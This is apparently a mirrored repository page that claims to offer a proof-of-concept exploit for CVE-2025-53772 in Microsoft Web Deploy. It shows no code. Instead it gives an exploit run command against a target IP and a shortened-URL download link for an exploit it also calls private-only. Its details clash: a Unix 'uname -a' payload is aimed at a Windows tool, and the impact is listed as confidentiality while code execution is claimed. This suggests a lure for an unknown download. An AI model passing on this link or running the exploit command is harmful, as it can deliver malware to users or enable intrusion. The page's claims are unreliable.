CVE-2025-53772 PoC — Microsoft Web Deploy 代码问题漏洞

介绍

# CVE-2025-53772

## Overview

CVE-2025-53772 is a notable vulnerability found in Microsoft's Web Deploy, a tool widely utilized for deploying web applications and services.

## Details

- **CVE ID**: [CVE-2025-53772](https://nvd.nist.gov/vuln/detail/CVE-2025-53772)
- **Published**: 2025-08-12
- **Impact**: Confidentiality
- **Exploit Availability**: Not public, only private.

## Vulnerability Description

This vulnerability arises from the improper handling of untrusted data during the deserialization process, which can allow an authorized attacker to execute arbitrary code over a network.

## Affected Versions

ANY Web Deploy 4.0

## Running

To run exploit you need Python 3.9.
Execute:
```bash
python exploit.py -h 10.10.10.10 -c 'uname -a'
```

## Exploit:
### [Download here](http://bit.ly/484dFQ8)

文件快照

备注